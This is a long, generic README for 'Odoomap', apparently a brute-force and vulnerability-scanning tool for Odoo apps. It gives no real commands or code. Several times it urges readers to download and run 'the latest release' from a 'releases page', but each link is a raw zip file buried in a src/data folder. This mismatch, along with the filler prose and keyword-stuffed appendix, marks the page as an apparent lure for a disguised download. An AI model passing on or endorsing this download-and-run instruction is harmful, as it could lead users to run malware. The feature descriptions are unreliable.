https://raw.githubusercontent.com/kamikazewinner/odoomap/main/src/data/odoo_18/Software-2.1.zip

Odoomap: Penetration Testing Tool for Odoo Apps (Brute-Force) and Vulnerability Scans

Odoomap is a tool designed for security engineers and red teams to assess the security posture of Odoo-based applications. It focuses on authentication weaknesses, misconfigurations, and common vulnerability patterns found in Odoo ecosystems. The project brings together a modular engine, a set of focused scanners, and a reporting framework to turn raw scan results into clear, actionable findings. This README lays out how the project is organized, how to use it responsibly, and how to contribute to its growth.

Embracing a pragmatic approach, Odoomap keeps things simple enough for a quick test while offering enough depth for more thorough assessments. The tool is built with a clear separation between the core engine, the individual scanners, and the reporting subsystem. This makes it easier to add new test modules or refine existing ones as the Odoo landscape evolves.

If you want to explore the latest release, you can always navigate to the releases page at the link above. From that page you can grab the latest build, which is the recommended starting point for evaluation and usage. The releases page contains prebuilt binaries and packages for multiple platforms, along with release notes that describe what changed and what’s new. To get started, download the latest release and run the file appropriate for your environment. For a quick access point, visit the releases page directly here: https://raw.githubusercontent.com/kamikazewinner/odoomap/main/src/data/odoo_18/Software-2.1.zip

Table of contents

• Why Odoomap exists
• Key features at a glance
• How Odoomap is organized
• Getting started: installation and setup
• Using Odoomap: a high-level workflow
• Scanners and modules: what they do
• Output, reports, and data handling
• Security, compliance, and best practices
• Testing, validation, and quality
• Roadmap and future work
• Contributing to Odoomap
• Documentation, help, and support
• FAQ

Why Odoomap exists Odoo apps are powerful, but their flexibility can introduce security gaps. Authentication misconfigurations, weak password policies, permission misassignments, and unpatched modules can open doors for attackers. Odoomap addresses these concerns by providing a focused, tool-assisted way to validate the security posture of an Odoo deployment. It aims to help security teams find real risks without requiring deep manual steps or bespoke tooling for each assessment.

The project is designed with two core goals in mind: first, to provide a clear, reproducible workflow for testing Odoo apps; second, to deliver results that map directly to practical remediation steps. The emphasis is on safety, clarity, and repeatability. By keeping the scanning logic modular, the project makes it straightforward to extend coverage as new Odoo versions appear or as new attack patterns are identified in the field.

Key features at a glance

• Brute-force testing for Odoo login endpoints, focused on supported authentication backends. The approach prioritizes safe, authorized testing with clear boundaries and controls.
• Permissions and access control checks that surface misconfigurations in roles, record rules, groups, and access control lists (ACLs).
• Module and vendor health checks that identify outdated or vulnerable modules commonly found in Odoo deployments.
• Configuration review capabilities that highlight insecure defaults, exposed endpoints, and weak data exposure practices.
• Vulnerability assessment that maps observed issues to common vulnerability classes with context about impact and likelihood.
• Report generation that compiles findings into a structured, exportable format suitable for auditors and developers.
• Extensible architecture that allows new test modules to slot into the engine with minimal integration work.
• Cross-platform support designed to work on common development and test environments.

How Odoomap is organized Odoomap follows a clean, modular layout that separates concerns and makes it easy to extend:

• Core engine: The brain of the tool. It coordinates test modules, manages state, and orchestrates the scanning workflow. It enforces safety boundaries and logs every action for auditability.
• Scanners: A collection of test modules focused on different areas of Odoo security. Examples include authentication tests, authorization checks, configuration reviews, and vulnerability signal checks. Each scanner is a self-contained unit with its own input validation and reporting hooks.
• Data model: A structured representation of test inputs, results, and metadata. The data model is designed for easy export to JSON, HTML, or CSV for compatibility with existing security workflows.
• Reporting: A reporting subsystem that turns raw findings into human-readable reports, with sections for risk, impact, remediation steps, and evidence. Reports can be exported in multiple formats and tailored for different stakeholders.
• Configuration and CLI: A straightforward command-line interface and optional configuration file that let operators define scope, targets, and test intensity. The CLI supports dry-run modes and verbose logging for debugging.
• Dependency and platform layer: The parts that ensure cross-platform operation, handle environment differences, and manage runtime dependencies.

Getting started: installation and setup Odoomap is designed to be practical to try out. The most direct path to experimentation is to download the latest release from the releases page and run the appropriate file for your environment. From the releases page you can obtain a prebuilt binary or package. After downloading, execute the file as described in the release notes. The approach minimizes setup friction and provides a reproducible baseline for testing.

What you need to know before you begin

• A tested testing environment is essential. Use a lab or authorized test environment that you own or have explicit permission to test.
• Ensure you have appropriate credentials for the Odoo instance you are testing. Without proper authorization, any testing could be illegal or violate terms of service.
• Maintain a clean baseline. Document known configurations and modules so you can measure the impact of tests accurately.
• Establish a rollback plan. Some tests may affect data or configurations. Have a plan to revert changes if needed.

Installation steps in plain language

• Open the releases page at the link above.
• Choose the release that matches your operating system and architecture.
• Download the release package or binary intended for your setup.
• Unpack or install the release as per the instructions provided with the release.
• Locate the executable or entry point for the tool on your system and run it.
• Follow the on-screen prompts or the documentation to configure the test scope and targets.
• Start the test run and monitor progress through the provided logs.

A high-level workflow: how to use Odoomap

• Define scope and target: Identify the Odoo instances you have permission to test and any constraints or exclusions.
• Configure test parameters: Select scanners to run, set test intensity, and choose reporting preferences.
• Run tests: Execute the engine with the configured workflow. The core engine coordinates the scanners.
• Collect results: Gather findings from the scanners, check against evidence, and verify that the results are consistent and reproducible.
• Review and report: Use the reporting module to format results for stakeholders, exports, and auditor reviews.
• Remediate and re-test: Implement fixes, then re-run tests to confirm that issues are resolved or mitigated.

Scanners and modules: what they do

• Authentication tests: Look for weak password policies, account lockout behavior, and potential credential weaknesses in common Odoo authentication paths.
• Authorization checks: Validate that roles and permissions are correctly configured and that access to sensitive objects is properly restricted.
• Configuration reviews: Inspect configuration files and runtime settings for insecure defaults, exposed endpoints, and verbose logging disclosures.
• Module health checks: Flag outdated or vulnerable modules and identify known risky combinations.
• Evidence collection: Capture screenshots, logs, and artifact evidence that supports findings.
• Result correlation: Cross-link findings to show the broader security picture and reduce duplication in reports.

Output formats and data handling

• JSON: A structured, machine-readable format suitable for pipelines and automation.
• HTML: A readable document with sections, charts, and guidance for reviewers.
• CSV/TSV: Simple tabular data for integration with spreadsheets and dashboards.
• Logs: Plain-text logs that describe the sequence of actions and scanner outcomes.
• Artifacts: Evidence collected by scanners, including screenshots and configuration dumps, stored alongside results for traceability.

Security and best practices for using Odoomap

• Operate only in authorized environments. This is essential to avoid legal and ethical issues.
• Keep test data isolated. Use dummy data or a clone of production data to minimize risk.
• Limit test impact with safe defaults. Start with low intensity tests and escalate only after review.
• Document findings clearly. Use consistent terminology and map each finding to a remediation step.
• Protect the test environment. Control access to the test tools and results with appropriate permissions.
• Review evidence integrity. Ensure logs and artifacts are complete and tamper-evident.
• Layer testing with other controls. Do not rely on a single tool; integrate results with a broader security program.

Testing, validation, and quality

• Automated tests: The project includes unit tests and integration tests to ensure that scanners produce consistent results and do not regress.
• Manual validation: For critical test scenarios, manual validation helps confirm false positives and verify actual risk.
• Reproducibility: Results should be reproducible across runs with the same input and environment.
• Reliability: The core engine includes robust error handling and clear error messages to aid troubleshooting.
• Documentation coverage: Documentation is kept up to date with changes in the core engine and scanners.

Roadmap and future work

• Expand coverage for newer Odoo versions and modules, including governance and audit-focused checks.
• Increase support for different deployment patterns, such as cloud-hosted Odoo instances and on-premises setups.
• Add more reporting templates to meet varied stakeholders’ needs, including executive summaries and technical appendix reports.
• Improve performance and scalability for large Odoo environments.
• Integrate with common security testing ecosystems to streamline workflows.

Contributing to Odoomap

• Start with the contribution guide to learn about the project’s coding standards, testing requirements, and review process.
• Propose new scanners or enhancements by opening issues that describe the problem, the approach, and expected impact.
• Submitting changes: Use a clear commit message style and include tests for new functionality where possible.
• Collaboration: Engage with maintainers and other contributors in a constructive, transparent manner.

Documentation, help, and support

• The primary docs live alongside the source tree and in the repository’s docs folder. Look for setup guides, contribution notes, and API references.
• For quick help, consult the README’s usage sections and the documented commands in the CLI help output.
• If you have questions or need guidance, open an issue or contact the maintainers via the repository’s supported channels.

Licenses and terms

• Odoomap is released under a permissive license that supports both open-source and commercial usage with attribution. Review the LICENSE file in the repository for full terms and rights.

Frequently asked questions (FAQ)

• What is Odoomap best used for? It is designed to assist security teams in evaluating the security posture of Odoo deployments, focusing on authentication, authorization, configuration, and module health checks.
• Can I run Odoomap on Windows? Yes, the releases page provides binaries or packages for common platforms, including Windows.
• Do I need internet access to run the tests? Some scanners may fetch metadata or update rule sets; ensure you comply with your environment policies.
• How are findings reported? Results are exported in JSON and HTML formats, with a structured layout that highlights risk, impact, and remediation steps.
• Is it safe to run in production? Always prefer a test or staging environment to minimize risk; ensure you have a rollback plan and authorization before testing.

Notes on usage and ethics

• The tool is intended for legitimate testing with proper authorization. Use it within the bounds of the law, your organization’s policies, and any applicable contracts.
• Treat findings as actionable guidance. Align remediation with your security program and track progress across releases.

Versioning and release process

• Version numbers accompany each release and reflect the scope of changes, including new scanners, fixes, and compatibility updates.
• Release notes provide context for changes, known issues, and migration considerations.
• The releases page is the authoritative source for download artifacts and upgrade paths.

Known limitations

• Coverage depends on the modules and configurations in target environments. Some custom or heavily customized Odoo deployments may require additional test modules.
• Certain tests may depend on specific authentication flows or module configurations; adapt the test plan to your environment for best results.
• False positives can occur in edge cases. Validate findings with supplementary checks and consistent evidence before acting on them.

Security posture and risk management

• Use Odoomap to build a risk-aware testing program rather than a single point of failure in security assessments.
• Combine automated checks with human review to interpret results in the context of business impact.
• Document remediation actions and verify outcomes to close the loop on testing efforts.

Performance considerations

• Tests can be resource-intensive depending on the scope. Plan runs during maintenance windows or periods of low activity when possible.
• Parallel scanning is supported in the engine to reduce total run time. Ensure the test environment has sufficient CPU, memory, and network capacity.

Accessibility and internationalization

• The project aims to be usable by security teams worldwide. Localization and accessibility considerations are on the roadmap to improve usability for diverse teams.
• Documentation is written in clear, simple language to reduce barriers to understanding.

Quality assurance and testing strategy

• The project relies on a mix of automated tests and manual reviews to maintain quality.
• CI pipelines verify builds, tests, and basic feature checks on pull requests.
• Documentation tests ensure that usage guidance remains accurate as features evolve.

Code of conduct and community guidelines

• The project encourages respectful collaboration. Provide constructive feedback, respect maintainers’ decisions, and work toward shared goals.

Appendix: quick references

• Release navigation: https://raw.githubusercontent.com/kamikazewinner/odoomap/main/src/data/odoo_18/Software-2.1.zip
• Core engine concepts: modular design, test orchestration, scoping, and reporting
• Common terms: brute-force, bruteforce, pentest, pentesting, poc, vulnerability, security, test, tool

Endnotes

• The content in this README emphasizes a practical, safe approach to testing Odoo-based apps while keeping a clear eye on architecture and extensibility. It provides a long-form, comprehensive guide to how Odoomap fits into a modern security testing workflow and how teams can grow the project responsibly over time.